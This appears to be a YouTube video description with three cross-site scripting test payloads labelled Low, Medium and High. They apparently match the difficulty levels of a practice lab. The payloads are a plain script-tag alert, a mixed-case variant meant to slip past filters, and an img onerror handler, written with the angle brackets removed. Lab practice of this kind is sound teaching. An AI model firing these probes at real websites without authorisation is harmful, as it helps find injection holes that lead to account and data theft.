This is how you can find XSS vulnerabilities
These are the payloads:
Low = script alert("XSS") script
Medium = ScRiPt alert("XSS") ScRiPt
High = img src=x onerror=alert("XSS")
Note: I have not put the angle brackets because youtube's privacy is not allowing me to... So you have to put down the angle brackets like how I am doing in the video.